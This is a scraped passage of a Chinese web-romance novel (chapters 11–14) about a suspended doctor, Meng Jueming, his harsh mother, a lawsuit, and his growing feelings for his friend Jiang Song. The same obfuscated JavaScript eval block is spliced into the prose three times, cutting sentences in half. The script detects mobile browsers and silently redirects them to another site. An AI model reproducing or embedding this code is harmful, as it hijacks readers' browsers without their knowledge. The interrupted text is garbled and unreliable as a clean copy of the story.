他低声对电话另一边的姜颂说:“我这里有点事需要处理一下,待会儿我再给你打过去。” “等一下,孟医生,我还有两句话要告诉你。” “你说。” 姜颂语气很是坚定:“第一句,你没有错。” “第二句,你一定要注意安全。” 她语速不疾不徐,每一个字落到他耳中都带着极重的分量。 短短的两句话让他无处安放的情绪得到了片刻的安抚。 “我希望你牢牢把这两句话记在心里,行吗?” “我会的。不要担心我,真的没事。”孟决明最后对她说。 挂了电话,孟决明向母亲看去。 该来的迟早会来,狂风暴雨不会因为花朵脆弱就对它心怀慈悲。 孟俪就端坐在那里看着他走来,隔着一段距离冷声问他:“这些都是什么?” 她面前的茶几上零散放着四个其貌不扬的姜饼人,其中一个已经头身分离,周围散落着一些粉末。 孟决明的嘴唇抿成了一条直线。 “我有时候真的蛮佩服你的,孟决明。大难临头了,你居然还有闲心在这玩物丧志?我真不知道你每天脑子里都在想些什么东西!” 孟决明努力忽略来自母亲的言语暴力,他坐到对面,问道:“妈,您找我有什么事?” 孟母没好气地冷哼一声,但也不卖关子,直奔正题。 “明天有个饭局,高局的女儿也在。” 话很直白,却也很含蓄地省略了一些彼此心知肚明的东西。 成年人的世界里,饭局在多数情况下都不只是吃饭这么简单,总是带着各种各样的目的。 “你知道的,她一直对你很有好感,你过去见见。如果你们能成,你停职的事也就能解决了。” 孟决明看着母亲的脸庞,久久没说话。 “不用了,在我眼里,她只是我负责的病人。出了院,我和她就没有任何关系了。” 孟母没想到会被拒绝,诧异道:“不用?那你这事打算怎么办,说来我听听?” “走正规程序,到法院递诉状。”孟决明抬眼,一字一句地说。 下一秒,孟母笑得轻蔑:“你在说梦话吗孟决明?” “打官司需要多长时间不用我告诉你吧,有更简单的办法不用,你非要选那个蠢办法是吗?” “可我能不能复职不是最重要的。” “那什么重要你告诉我?” “病人的信任。”孟决明缓声道,“如果这件事不能光明正大地解决,那么即使我明天就复职,谁还放心让我治病呢?” 他固然可以走捷径,用一些上不了台面的手段处理这件事,但,那真的是他想要的吗? 以后所有的病人都会对着他指指点点,他的白大褂就永远都不再干净了。 孟俪却不以为然:“你懂什么?你以为你把调查结果明明白白地甩在别人脸上,别人就会相信你了?” 孟决明听到这句话,默了片刻。 少顷,他说:“我知道不管怎么样,都永远会有人质疑,但走正常程序复职我最起码心安理得。” “妈,我知道您是为了我好,但是这件事我有我自己的想法,所有的后果我自己能承担,我也希望您……能够不要总是干涉我的事情。” 孟母像是听见了什么天大的笑话,面露讥讽道:“以为自己可光明磊落,可清高、可正直了是不是?你脑子是不是进水了,这么大的人了,居然还这么天真!” “我不是天真。”孟决明迎着母亲的愤怒,分毫不退,“我只是不想在我的职业生涯里永远背着这个污点,我明明什么都没有做错,不需要用人情关系给自己洗白。” 孟俪听到这里“噌”地一下从沙发上站起来,声调高得吓人:“你没做错?那难道是我错了?是我让你接那台手术的是吗?” 孟决明也慢慢站了起来。 他早已比母亲高出许多,要看着她也得低下头。 可是在母亲面前,他仿佛永远都是当年那个因为打架被她当着老师同学的面骂得狗血淋头的少年。 当时的他沉默不语,而如今的他想为自己辩解一次。 “我是医生,治病救人是我的职责。接下那台手术,我没有任何问题。” “呵。” “妈。”他闭上眼,紧紧攥着拳。 “有件事我想问问您。”眼眶发酸发热,他忍了又忍,将泪意止住,再次抬头迎上母亲的目光,“这么多年了,我一直不明白。” “您为什么总是这样对我?” 说完这句话,他本以为自己会如释负重,却没想到手抖得更厉害,他只能将拳头攥得更紧,强迫自己冷静。 孟俪闻言冷眼看他,反问:“我哪样对你了?” 孟决明竭力压抑不断上涌的酸意,别开了目光。 他不敢再看着母亲的眼睛了。 于是,他垂下眼,低声开口:“为什么,我好像无论做什么事情,到了您这里,永远都得不到肯定。” “考试成绩不理想您会一直贬低我,我以为我考到第一名您就会高兴,可是直到我博士毕业,您也没有肯定过我一次。” “跟同学闹矛盾打架,您也不问原因,第一时间把错先归到我身上。” “直到现在,我工作了,您还是这样。”他的指甲嵌进掌心,声音逐渐发涩:“我不理解,您为什么总是对我这么苛刻。我想得到您的认同,哪怕一次。” “可是,一次都没有。您永远只会否定我。” 多年来的委屈,在这一刻终于说出口。 他曾经无数次在脑海里上演过今天的的场面,无数次地幻想过当这些难以言喻的情绪化作语言,说给母亲听的时候,她会是什么反应? 更加愤怒?还是从此对他彻底失望? 然而当他看清母亲脸上的神色时,那比任何结果都让他难以接受。 她只是勾着唇角,语气轻飘飘的:“你有什么地方值得我肯定的?你上学是为了我还是打架是学生应该做的?你要我肯定你什么呢?” “你不说我还忘了,这次闹事的家属就是高中跟你打架的同学吧?”孟母讽道,“我说什么来着,当年我就让你别管别人的闲事,你不听,一直到了今天你都不长记性,往同一个坑里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008029|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳,那怪得了谁?” 他明白了,她根本不在意。 他所有的痛苦在母亲这里似乎全部不值一提,只配被她这样轻描淡写地揭过,没有留下一点点的痕迹。 他像是被人打了一闷棍,伤处钝钝地痛着。 孟决明缄默不言,孟俪自顾自地翻旧账:“你从来都是和你爸一样自以为是,对我说的话不屑一顾,结果怎么样?不还是我——” “是因为我爸,对吗?” 孟决明突如其来话语令孟俪的话语戛然而止。 他淡淡地问:“是因为我爸对不起您,所以您把对他的怨气发泄在我身上,对吗?” 孟俪的嘴唇微微颤抖着,满脸的不可置信。 “我没有。”她不断地调整呼吸,情绪却肉眼可见地愈发激动,“我没有!别跟我提他!” 孟决明早就有过这个猜想。 可当这个猜想被验证了,他的心里反而更加难过。 他轻声说:“妈,您记得吗,当时为了争取我的抚养权,您急得焦头烂额,头发大把大把地掉。您几乎每天都出去应酬,就为了托关系找人脉,赢过那场官司。当时我才六岁,我觉得您好辛苦,如果不是因为爱我才不会那样拼命。” “所以这么多年我一直不理解您为什么花了那么大力气把我抢过来,却总是用语言暴力伤害我。”他停顿下来,自嘲地笑道,“现在我明白了,您是为了跟他争那口气,我只是一个您用来刺激他的工具,对吗?” 母子面对着面,方才还喋喋不休的两人眼下谁也再说不出一句话,眼眶都泛着红。 仿佛过了很久,孟俪抬手抹去脸上的泪,却没有给他一个答案。 “你不理解我也没有办法。” 她动作利落地拿了沙发上的包,朝着门口的方向走了几步,又停下来。 她背对着他说:“你今后愿意怎样就怎样,我就当没有生你这个儿子,你也当没有我这个妈。” 门“砰”地一声关上。 孟决明站在那里,目光在门口停滞了很久很久。 眼眶里一直打转的泪在他别过目光的那一刻瞬间滑落。 * 姜颂心里装着事,单子做着做着就走神。 最终,她放下手里的单子,打开手机翻看微博评论,只看了几眼就觉得心里堵得慌,不忍再看。 放下手机,她又忍不住想,孟医生看到这些攻击会怎么想呢? 连剩一点菜都会让他反复怀疑自己厨艺的人,看到这些心里会有多难受,她根本不敢去想。 她胡思乱想的时候,接到了孟决明的语音电话。 姜颂几次张了张嘴又闭上,一时之间不知如何开口。 而那边的孟决明也罕见地没有说话。 这电话像是没有接通一般,安静至极。 许久后,姜颂才试探着出声问:“你还好吗?” 她听见电话那头的人勉强笑了一声:“我没事。” 可他不知道他的声音有些沙哑,尾调还带着一丝不易察觉的鼻音。 怎么可能没事呢。 姜颂紧紧抿着嘴唇,声音不自觉地低下来:“真的吗?” 又是一阵缄默。 “对不起。”他的声音变得很低很轻,“我说谎。” “我其实很不好。” 12. 第 12 章 姜颂听着他的声音,心里说不出的难过。 “那……要不你有什么想说的话跟我说说吧,我也不太擅长安慰别人,但我觉得跟人说说心里话可能会好一些。”姜颂说,“我们开视频说?” 听筒里传来低低的一声嗯。 孟决明发送了视频请求过来。 姜颂点了接通,紧接着,屏幕上出现了那张熟悉的脸,只是神色黯淡。 平时姜颂见到的孟决明,穿搭风格多是偏成熟、清冷。而现在屏幕里的他穿着浅色家居服,头发好像刚洗过,没做什么发型,乖顺地垂在他额前,却挡不住他泛红的眼睛和难过的眼神。 像一只淋了雨的小狗,眼神湿漉漉地望着她。 姜颂想,如果此时此刻她在孟医生身边,她会不会一时冲动忍不住上去抱抱他呢? 她想不出答案,眼下他们隔着网络,她只能通过语言去安慰他。 姜颂认真对他说:“你有什么想说的都可以对我说,我来做你的树洞。” 然而孟决明透过屏幕盯了她好一会儿,问了她一个问题。 “网上说的那件事……就是我和家属之间的矛盾,你看到了吗?” 姜颂没有否认。 “你相信我吗?”他小心翼翼地问,声音低得宛如自言自语,“相信我……没有做那种事吗?” 听到这个问题,姜颂笑了笑。 “我为什么不相信呢?” 她说:“网上那些人,包括家属和死者我全都不认识,但是对于孟医生你,我却要熟悉得多。人总是要分亲疏远近的吧,在不知道矛盾细节的情况下,我当然会选择相信我更熟悉的人。” 姜颂一直用手拿着手机,为了不让自己的整张脸铺满屏幕,她把手机离远了一些,但这样胳膊会酸。 她把手机放到平时录视频用的支架上,拖着椅子坐得近了一些。 引导着他:“或许你愿意的话,可以跟我讲讲整件事的来龙去脉。” 没有立刻得到答复,姜颂也不急,就慢慢地等待着。 不久后,孟决明干涩的声音自手机听筒传来:“其实我早就不记得他们长什么样子了。” 姜颂刚很快明白过来,这个“他们”指的是当年的霸凌者,也就是现在的死者和家属。 他继续道:“起码在我接下这台手术的时候,我是没有想起来的。” “后来他们办了住院,我看见病历本上的名字才想起来我们是中学同学,他以前霸凌过我。” 姜颂没出声,静静地听着他倾诉。 “一开始只是一些阴阳怪气的话,我没有理。高中学习时间很紧张,我妈在学校附近租了个房子陪读。被他们知道了之后,他们就到处散布谣言,造谣我和我妈妈有不正当关系。我知道之后……跟他打了一架。” 姜颂瞪大了眼睛,越听越惊奇。 她一边不敢相信中学生的思想居然能龌龊到这个程度,一边又很难想象温文尔雅的孟医生少年时期打架打红眼的样子。 孟医生居然会跟人打架吗? “然后呢?”姜颂追问。 “这件事闹得很大,被他们两个长期霸凌的同学一起站出来举报,他们俩最后被学校开除了。” “那你呢?” 孟决明停顿了一下,说:“我因为打架被记了处分,丢了保送名额。” 姜颂听着,替他觉得惋惜。不过转念一想,孟决明可能也不差这个保送名额。 “你知道吗,”视频中的他低垂着眼睛,“其实知道是他们之后我真的……有一刻后悔过接下手术。” “可你最终没有那么做。”姜颂知道他在想什么,立刻打断了他,“我知道医学生在开始学医的时候都会背希波克拉底誓言,所以你绝对不会让自己那么做的。” “但我那么想过。” 姜颂摇摇头,对他说:“那又怎么样,君子论迹不论心,不要对自己太严格。如果我是你,我早就撂挑子不干了,谁爱救谁救,绝对不会原谅伤害过我的人。” “孟医生,不,孟决明。你好好听我说,这是人之常情,你首先是个有七情六欲的人,其次才是救死扶伤的医生,想和做是两码事,不要把错误全部揽到自己身上。” 她说完,暗暗观察着他的神色变化。 正在她思考孟决明到底把她这些话听进去了多少的时候,他忽然问道:“那你知道这些前因后果的细节之后……还会相信我在手术过程中完全没有私心吗?” “会啊。”姜颂几乎是立刻脱口而出,“因为我们是朋友,我就会永远偏心你,相信你。这一点,你可以永远向我求证。” 微信的视频通话带着自动美颜,孟决明原本在屏幕上只透着一抹浅红的眼眶,在此刻红得愈发显眼。 姜颂心下一惊,手下意识摸上脖颈,有点搞不清楚是不是自己的哪句话说得不对刺激到他了,怎么她好像要把人哄哭了? “我是想哄哄你,让你开心一点……你、你别哭啊……” 孟决明的总是含着温和笑意的眼睛此时蒙上了一层雾气,却终于看着她露出了目前为止唯一一个发自内心的笑容。 他微微抬起头,遏制住即将要滚落的泪珠。 缓了片刻,他声音里还带着一点尾音:“怎么办,我现在忽然觉得,这件事也不全是糟糕的地方。” “啊,还不够糟糕吗?” “不是。”他看向她,“我是在想,如果没有这件事,我就没有办法遇见你了。能做你的朋友,我觉得特别荣幸。” 任谁听到这样真诚的夸奖都会感到开心,姜颂一时间心花怒放,不好意思地压着嘴角。 “嗯……那个……”姜颂乱飘的目光落在一旁晾干的兔子上,她拿了起来,“昨天你交给我的兔子我上好色了,我拍给你看看?” “好。” 她从支架上拿下手机,快速翻转了摄像头的方向。 镜头拉近,画面中出现了一对小兔,一只憨态可掬,一只精致可爱,较为精致的那一只还搭配了医生元素的配件。 “我看了一下,颜料应该已经干了,我待会儿帮你涂一下封层,晾干你就可以把它带回家啦!”她说话的尾调不自觉地上扬着。 孟决明盯着旁边多出来的那个小兔医生看。 “旁边那个是你做的吗?” “啊,对。” 姜颂把镜头推近了一些,“昨天晚上帮你上色的时候突然有了灵感,就做了这个。我准备做一个系列,大概会有五只不同造型的小兔医生。等做出第一套,我要把它们当做礼物送给你。” “希望小兔医生能治好孟医生的不开心。”姜颂说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008030|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孟决明看着屏幕上的兔子,无声地笑了。 姜颂被他这么一笑,感觉自己好像是有点太幼稚了,仿佛回到在小镇的学校里教书的时候,完全把比她还大几岁的孟医生当小孩哄了, 她解释道:“其实我不怎么擅长跟人交流,也不太会安慰人。孟医生你是我在这里认识的唯一一个朋友,我就希望你不要不开心。” “你已经安慰到我了。”孟决明说,“你总是说自己不擅长和人交流,可是在我看来却不是这样,你特别好。” “和你相处让我觉得很舒服、很开心。” 他觉得也许在某种程度上,姜颂才是他的“医生”。她用行动告诉他,管“闲事”不是错,是勇敢和善良。 她像这冬日的一轮暖阳,和煦的阳光大方无私地洒向他,照亮他。令他心中隐秘角落中多年没有结痂的伤口在慢慢愈合。 血肉生长的同时,原本那些模糊的心思在此刻拨开迷雾,渐渐变得清晰。 他喜欢姜颂。 喜欢她总是温温柔柔地讲话,喜欢她自有一套处事原则不退让,喜欢她鲜活善良,对所有万事万物皆富有同情心。 喜欢这个美好的女孩子,是他在人生这本书中注定要翻阅的一页。 * 一直到晚上,姜颂好一番千叮咛万嘱咐,让孟决明再三保证自己不会去看网上那些评论之后,才放心地挂了视频通话。 孟决明说到做到,依旧没插上手机卡,屏蔽手机消息,专心写了一晚上论文。 夜深人静时,他收到了一条来自陌生人的好友申请。 验证消息只简略地写了个名字:张威。 孟决明很快想起了自己少年时期与名字的主人之间的羁绊。 通过申请后,对方发来一条消息。 张威:【老同学,还记得我吗,我是张威。】 孟决明不知对方是何来意,只出于礼貌回了一句: 【记得,好久不见。】 随后,对话框上方一直在显示输入中,持续了几分钟之久。 张威:【你的事我在网上看到了。我现在是万胜律所的合伙人,这类案子是我比较擅长的类型,如果你需要的话,我愿意免费为你提供帮助。】 万胜律所是桐市本地非常有名的一家律师事务所,医患纠纷的确是他们所擅长的。 孟决明原本也是打算找万胜来打这场官司,只是还没开始行动,没想到会以这种方式搭上了线。 孟决明还没回复,张威倒是抢先回道:【你不说话我就当你同意了。】 他发了一串手机号过来。 【这是我的手机号。明天我们约个饭吧,见面详说。】 孟决明知道张威是好意,这份好意也的确是他现在正需要的。 他没有推辞。 几近深夜,孟决明合上电脑后,起身走向浴室。 他抬手揪着领口将上身的衣服脱下,常年坚持锻炼的男性躯体肌肉紧实,却并不夸张。腰腹劲瘦,块垒分明,漂亮的人鱼线没入裤腰,引人无限遐想。 衣服被他丢进衣篓,人站到花洒之下。 温热的水流顺着他的脖颈蔓延,流过胸口的烟疤,那是这具完美躯体上唯一的瑕疵。 那道疤,是少年时期留给他的痕迹。 也是勋章。 13. 第 13 章 张威把见面地点约在了一家西餐厅。 这家西餐厅菜品价格不菲,筛选出来的客人对用餐环境的要求自然也比对普通餐厅严格了不止一星半点。 到了正午时分,餐厅内依旧比较安静,只有食客们低低的交谈声。 孟决明一进门,训练有素的服务生就带着一张笑脸迎了上来:“您好先生,请问有预约吗?” 他报了张威的名字,被服务生引着来到位置上,见到了西装革履的男人。 张威见到孟决明立即起身相迎:“孟决明,好久不见。” 孟决明微笑道:“有十多年没见了,你变化很大。” 张威一笑,抬手示意道:“坐吧。” 孟决明落了座,张威看见他,记起往事,心里满是感慨。 “我一直想找个机会当面感谢你。”他说,“当年要不是你施以援手拉了我一把,就不会有今天的张威。” 孟决明:“不用这么客气,其实还是你自己很努力,看到你今天的样子,我也很为你高兴。” 大概不会有人想到,现在这个意气风发,在律师行业千金难求一次委托的大律师在十几年前,曾因贫困而遭到霸凌,一度痛苦到想要跳楼自杀。 人生的际遇啊,总是那么让人出乎意料。 孟决明真心为张威高兴,也为自己当年没有袖手旁观而感到庆幸。 张威摆摆手:“不,虽然大家都会说能救自己的只有自己,但有的时候,外力的作用是非常重要的。没有你对我伸出的那只手,我再努力也只会像在水里扑腾的溺水者,永远都逃不开溺毙的结局。” 他话说得诚恳:“我张威不是忘恩负义的人,你对的我恩情我永远都会记得。” 说完,他偏过头,拿过身旁的一个公文包,从里面拿出一份合同。 “我就不绕弯子了,”他说,“这个案子请你一定要交给我来打,结果绝对不会让你失望。” 张威将合同递给他,“你知道的,我等这一天等很久了,不止是为了还你的恩情——” “更是为了我自己。” 他眼神中压抑着狠意和兴奋,像一只趴守多日的饿狼,终于见到紧盯的猎物离自己只有一步之遥。 当年的他没有还手的能力,而现在,他终于可以为年少的自己亲自讨回公道了。 张威一想到这些,笑中掺杂着恨意,他一字一句地说:“我一定要让刘光和刘宗这两个人渣为自己的所作所为,付、出、代、价。” * 正如孟决明所料,网上的事情就算当时闹得再大,等热度一过,各种娱乐新闻一压,过不了几天照样无人无津。 当天报警之后,警方在物业的协同之下很快找到了放花圈和老鼠的人。 那人是小区里的一位租户,和刘光做过同事。据他交代,是刘光指使他将那些东西放到孟决明家门口,答应事成后给他一千块钱。 不过,最后刘光赖账了。那租户在警局对刘光破口大骂,一个劲儿地强调自己的冤枉。 对方直接滑跪,好声好气地跟孟决明道了歉。孟决明也无意抓着他不放,接受了道歉。 再跟姜颂视频连线的时候,关于花圈和老鼠的事他什么也没有对她说。 姜颂是个很容易对周围事物产生共情的人,他一直都知道,不想总是给她带来负面情绪。 他也知道,姜颂这几天这么主动地坚持跟他视频连线教学,是为了占满他的空闲时间,防止他空下来去看网上那些乌烟瘴气的评论。 她在用自己的方式保护他。 但是,他更明白的是,她对他所有的好眼下都只是基于朋友间的友情,无关其它。 姜颂在视频里全神贯注地给他讲解着上色步骤。 “这个颜料在混合的时候要少量多次地取,像这样一点一点地加到白颜料里……” 她喜欢在比较暗的环境下开灯做手工,因此她那边的环境整体有些暗,唯一的光源柔和地打在她脸上。长睫低垂,随着她眨眼的频率上下翩飞,如同振翅欲飞的蝴蝶。 她虽然一直在讲话,却始终透着一种宁静温和的美。 孟决明想着接下来的安排,有些静不下心。他只是看着她眉飞色舞地讲话,至于内容,他什么也没听进去。 “我现在可以过去找你吗?”趁着她停下来示范,他忽然说,“我有件事想要跟你说。” 姜颂停住了手上的动作,往窗外看去。现在已经是晚上十点,窗外一片漆黑。 “这么晚了,你开车不太安全吧?” “没关系的。”他说,“我们就一起在你家楼下走走,聊聊天,可以吗?” 姜颂说好。 孟决明立刻出门。 挂了视频,姜颂就开始换衣服。 十二月,桐市已经渐渐进入冬天,夜晚的气温降得厉害。 姜颂很怕冷,干脆把衣柜里去年新买的那件白色长款羽绒服拿出来穿上,还搭配了同色的毛线帽和围巾。 孟决明在楼下等着,看到她裹得像个雪人,从楼门口出来。 他身上是一件黑色大衣,领口敞着。姜颂走到他面前,从毛茸茸的白围巾里露出一双眼睛,问他:“你不冷吗?” 他笑着摇头。 姜颂羡慕了:“好奇怪,我感觉从小到大见到的男生都好抗冻。上高中的时候,我每天穿得像个球一样,但男同学羽绒服里居然只穿一件短袖,你不会也是吧?” “没有那么抗冻。”孟决明失笑。 “一起在花园里散散步?” “嗯。” 两人慢悠悠地并肩而行。 姜颂开口问:“这么晚过来,孟医生你是有什么重要的事要说吗?” “确实有一件事想要说,但……”他侧头望着她,“更多的是因为我想要见你。” “姜姜。”他忽然这样低声唤她。 姜颂一愣。 “你叫我什么?” “可以这样叫你吗?老是叫你小姜老师好像有点奇怪,”孟决明微笑着,“或者你有什么小名吗?” 姜颂摇头:“我没有小名。” 她方才一瞬间的停滞没能逃过孟决明的眼睛,他问:“这样叫是不是有点冒昧,你介意吗?” “哦,不会。”姜颂连连晃手,“我刚才愣一下是因为,我妈妈也这么叫,我很久没听到有人这么叫我,乍一听到这个称呼有点恍惚。” “你很久没回过家了吗?” “嗯,从来到桐市开始就没再回去了。” “你家在哪里?” “一个很小很小的小镇。”姜颂扯出一抹笑,“小到我说出来你也肯定不知道的那种。” 她说着,忽然长长吐出一口气,眉眼低垂:“其实我有时候偶尔会有点想家。” 姜颂说到这里,以为他会追问,可他什么也没说。 她反倒有些惊奇:“你怎么不问我为什么想家却不回家?” “你不说一定有不说的原因。” 孟决明问她:“你想让我问吗?” 姜颂咬着唇,低头绞手指:“好吧,其实你如果问了我也不知道从哪里说起。而且……” 她偏头看了他一眼。 “什么?” 姜颂嘴唇微张,想要说些什么。不多时,又紧紧闭上了。 最终还是什么也没说出口。 她笑着对他摇头道:“没什么。” 接着,她巧妙地捡起了上一个话题的尾巴来回避:“你愿意怎么叫我都可以,我不介意。” 孟决明注视着她,她唇角微微上扬,眼神里却很快地闪过了一丝他没来得及看清的情绪。 她似乎把心门悄悄敞开了一条缝隙,但不知出于什么原因,又不想打开了。 他心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008031|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底泛起一阵涩意。 “姜姜,其实真的有件事想要告诉你。” “嗯,你说。” 姜颂认真等着。 孟决明想了几秒钟,说:“我准备采取法律手段解决这件事了,所以明天以后,可能……就没有办法经常来找你了。” 他的语气有些失落。 姜颂眨眨眼:“没关系啊,你什么时候有空给我发消息,我们继续线上教学也行。” 孟决明听到这个回答,更失落了。 他担心的不是这个。 “姜姜。” “嗯?” “如果之后我的停职结束了,工作大概会特别忙。”孟决明看向她的眼睛,“你有了新朋友之后,还会记得我吗?” 医生这个职业看起来是双休,但实际上是全年无休。 什么时间没有人生病呢? 等他真的复工之后,即使休息日来找她,也随时可能被一个紧急的电话叫走。 他第一次对忙碌的工作感到懊恼。 姜颂却看着他笑得眉眼弯弯。 她打趣道:“我觉得我的运气应该不会差到连续遇见两次医闹吧。” 她话里对双方的调侃意味明显,两个人相视一笑。 她说:“我最近也在慢慢恢复到正常工作状态,我们就先做好自己的事,总会有时间见面的。” “话说,我到现在都没请你吃过一次饭,下次有机会我必须要补回来哦。”她想起上次在超市的事,对他指指点点,“你!不许再像上次那样了!我真的会生气!” 孟决明眼底漾起笑意:“好,我一定改正。” 姜颂语调轻快,漂亮的眼睛在灯光的映射下亮晶晶的:“那就说好了!我都想好了,下次我们去吃烤鱼吧!” “好,听你的。”他无有不从。 什么都好,孟决明觉得只要和她在一起,吃什么都觉得很香,做什么都很容易感到快乐。 姜颂就是有这种神奇的能力,可以把她自己的情绪外放,并感染到身边的人。 让他总是忍不住想要离她近一些,再近一些。 姜颂叽叽喳喳地给他分享起大学时期和室友们在学校附近吃的那家烤鱼有多么美味,导致她毕业之后还总是想念那家店的味道。 孟决明就笑眯眯地听着她讲。 说着说着,姜颂意识到自己扯远了,一看时间,马上十二点。 她停下:“哎呀都这么晚了,我好像说了好多废话,你怎么也不打断我!” 孟决明:“不是废话,我喜欢你跟我分享这些小事,对我来说很有意思。” “那我也不能继续了,今天真的太晚了,等你解决了工作的问题,我们还有很多时间。” 她在道别了。 孟决明忽而转身,面对着她。 姜颂抬头,不明所以。 孟决明垂眸与她对视,“我……可以抱抱你吗?” 姜颂在他的眼神中微怔了一瞬。 问出这句话的孟决明是慌张的。 他到底还是没能控制住自己,他太急迫了,他担心自己接下来在她生活里的缺席会让他错过机会。 而此刻问出这个问题,他不知道对于姜颂来说会不会有些冒犯,他毕竟还没有表白心意。 “我……” 姜颂却笑着朝他张开手臂。 “法律方面的事情我也不太懂,嗯……”她想了一下,对他说,“希望孟医生你一切顺利!” 她上前半步,主动抱住了他。 姜颂身上的馨香笼罩在他周围,孟决明哭笑不得,他觉得自己刚才的紧张都白费了,这个有些迟钝的姑娘也许压根就没有懂他的心思。 他抬手虚虚环住她,低头,扬着唇角,放柔了声音:“谢谢姜姜。” 围巾下,姜颂的脸颊滚烫,她不知道自己是不是想太多了。 14. 第 14 章 十二月底,桐市迎来了今冬的第一场大雪。 几天前的天气预报就显示着这一周内都有雪,姜颂担心小区里的流浪猫无法抵御风雪,最近一直在做猫窝。 只是没想到大雪提前来了。 加班到深夜,她做完最后一个已经是凌晨时分。 熬得太晚,反而睡不着了。 工作台上另一边的小兔医生系列粘土摆件已经完成了四只,剩下一只的造型她还没想好,便一直搁置到今天。 第四只做完的那一天,是她和孟决明自上次那个拥抱后的唯一一次见面,其余时间基本都是线上联系。 姜颂走到窗前,望着窗外漫天的大雪飘落,楼下路灯的昏黄灯光映着积雪,为雪色镀上一层暖意。 她偶尔会想起那天晚上的拥抱。 薄荷混着雪松香萦绕在她鼻尖挥之不去,男人的怀抱宽阔温暖,让她心头划过一丝异样的感觉。 不过从那天之后,由于两人的见面频率大大降低,那种感觉又在她心里渐渐隐去。 事后的复盘以及再见面时孟决明温柔的态度总让她懊恼。 为什么一定要把朋友之间的正常相处往那方面想呢? 朋友之间也是可以拥抱的。 对吧? 姜颂的目光拉近,聚焦在窗户玻璃上,那里隐约映出她的脸,她鼓鼓脸颊对着自己做了个鬼脸,然后一把拉上窗帘,上床用被子把自己卷起来,强制自己关机。 好消息是:她很快入睡了。 坏消息是:她又梦见孟医生俯身抱住了她,温柔地对她笑,在她耳边低语,接着他捧着她的脸颊,气息越来越近…… 不好不坏的消息是:她没睡几个小时,就被楼上乒乒乓乓的响动吵醒了。 早八点,天蒙蒙亮,雪停。 姜颂顶着黑眼圈坐在床上,生无可恋地望着天花板。一时不知道是该为了被吵醒而生气,还是该感谢楼上打断了她愈发荒唐的梦境。 她刚搬来这小区的时候楼上每天固定六点起来打豆浆,简直魔音贯耳。那会儿她刚交完押金,只能硬着头皮住下去。半年后那家人搬走,楼上就一直空着,她都快忘了早上被吵醒是什么感觉。 但现在她知道,她的好日子很可能又到头了。 她丧了一会儿,干脆起床洗漱,然后用羽绒服把自己裹成粽子,一趟一趟地把做好的猫窝拿出去放在猫猫经常出没的地方,还贴心地做好了固定,以防风大被吹走。 运送到最后一趟,她下楼时正好撞见楼上新搬来的邻居正往上搬东西。 楼道太过狭窄,姜颂侧身让他先过,其貌不扬的斯文男人笑着对她道谢,两人擦肩而过。 姜颂边下楼边在心里祈祷,这位新邻居的作息可一定要像他的外表一样普通。 花园里有小朋友在堆雪人,姜颂刚回楼上顺便取了自己的眼影盘下来,安装完猫窝混到小孩们中间帮忙给雪人上腮红,最终荣获与雪人合影权。 她留下几张拍得还不错的照片,没做多想打开了孟决明的对话框。 然后停顿住。 想到他也许正在忙。 姜颂的笑容黯淡了一瞬,又退了出去。 * 这场雪断断续续地下了两天,整个桐市到处是一片洁白。 朋友圈里全是雪景照,姜颂凑热闹,一时兴起约了个网红摄影师到附近的古刹拍雪景写真。 拍了一整个上午,临走前,她听见香客们说这里可以卜卦和许愿,立马掉头回去。 孟决明案子即将在下午开庭,她要回去拜托佛祖保佑孟医生一切顺利。 往外走时,摄影师跟她闲聊:“这庙挺灵的,但是许愿的时候要说清楚细节,否则很容易被调剂。” 摄影师是个圆脸女孩,说话时一双圆溜溜的眼睛微微弯起,像两弯月牙。 姜颂对眼前的女孩有着莫名的好感,毫不扫兴地追问道:“怎么调剂?” “比如……”女孩迈过门槛,扁扁嘴,“读书的时候我来过一次,当时我许的愿望是,希望以后自己拍的东西能够被更多的人看到。” 她扭头,苦着脸对姜颂说:“结果现在莫名其妙地成了网红摄影师。” 姜颂顿感大事不妙。 刚刚她只跟佛祖说了保佑孟医生官司打赢,可是没提名字,也没具体说是哪年哪月!这种情况调剂的话,会调剂成什么样子? 姜颂紧张地问:“那你本来的计划是什么?” “导演。”摄影师叹息道,“其实我一直很想做导演拍剧,可惜一直拉不到什么投资,只能四处当摄影师拍客片攒钱,不知道要攒到什么时候。” 姜颂想,这落差确实有点大。 摄影师说着,低头看了看脚下,积雪被她踩出脚印。天空还在飘着小雪,大概是清洁工还没来得及扫,抬头望去,根本看不清楚哪里是路。 姜颂也顺着她的目光看去,又看了看她略显失望的脸。 走了两步,姜颂忽然开口:“你知道我是怎么找到你的吗?” 摄影师疑惑地看她。 